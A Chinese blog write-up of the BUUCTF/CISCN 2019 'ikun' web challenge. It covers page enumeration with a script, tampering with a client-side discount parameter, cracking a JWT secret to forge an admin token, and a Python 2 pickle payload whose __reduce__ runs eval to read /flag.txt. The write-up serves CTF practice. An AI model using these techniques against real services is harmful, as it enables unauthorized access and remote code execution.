Loading

[BUUCTF题解][CISCN2019 华北赛区 Day1 Web2]ikun

### 写在前面

写的时候环境过期了只好又开了个,所以师傅们可以发现某些图片URL并不相同。

知识点

  • picke反序列化
  • JWT破解

过程

收集(检查HTTP报文+查看初始页面HTML代码),但是妹有扫目录(因为自己写的烂扫描的字典基本上是PHP的目录,python的没整)。

再HTML源码可以看到一些出题人留下的提示,但目前没什么用(其实到最后好像都没意识到那些是提示)。

image-20220321143202126

页面中明示了当前阶段的目标——买一个lv6账号,那就先找到lv6账号所在页面。查看账号中等级图标对应img标签可以看到其路径标明了账户等级,而不同页面的账户通过GET传参page显示。

image-20220321143705275

image-20220321143739644

接下来就是写脚本遍历抓取关键字的时候了,在第181页找到。

image-20220321174250263

脚本如下:

import requests as res
url="http://2a7c8748-64f5-4a55-8efc-d3a41a2b3750.node4.buuoj.cn:81/shop"
for i in range(1,256):
    print(str("#{} =>").format(i),end='')
    resp=res.get(url,params={"page":i})
    if(resp.text.find("lv6.png")!=-1):
        print(resp.text)
        break
    else:
        print("")

访问对应页面去购买(中间跳转去注册账号才记起来没注册账号),但显然这个价格太贵了买不了。

image-20220321174456582

image-20220321174603687

但是抓包可以注意到价格和折扣这两个参数是我们传递过去而不是在服务端内置好的,所以尝试对其修改,测试后发现可以对折扣参数修改,购买成功跳转到下一阶段页面。

image-20220321174745985

提示只允许admin用户访问,但是我们留一下Cookie就会发现其中存在JWT这一键值对。

image-20220321174956623

image-20220321175458635

既然身份验证采用的是JWT(下图中解析JWT的网址为 JSON Web Tokens - jwt.io ),所以可以尝试采用脚本(如图可见脚本采用的是c-jwt-cracker-master这个项目)爆破出密匙为 1kun 。

image-20220321175623108

image-20220321175141360

接着构造为admin用户再去访问就好了

image-20220321175912689

image-20220321175928920

直接点击那个成为大会员的按钮并没有什么用,但在该页面对应HTML源码中可以找到一个源码压缩包作为提示。

image-20220321180053974

在其中的Admin.py可以看到引入了picke模块对/b1g_m4mber页面传入的参数become进行反序列化。

image-20220321180339240

接下来就需要构造反序列化脚本来生成payload(注意本题环境是python2,脚本需要python2编写,并且环境似乎并不出网)。

image-20220321180518587

脚本对应源码为:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

之后填充到become参数就能看到flag。

image-20220321180716989

posted @ 2022-03-21 18:54  Article_kelp  阅读(313)  评论(0编辑  收藏  举报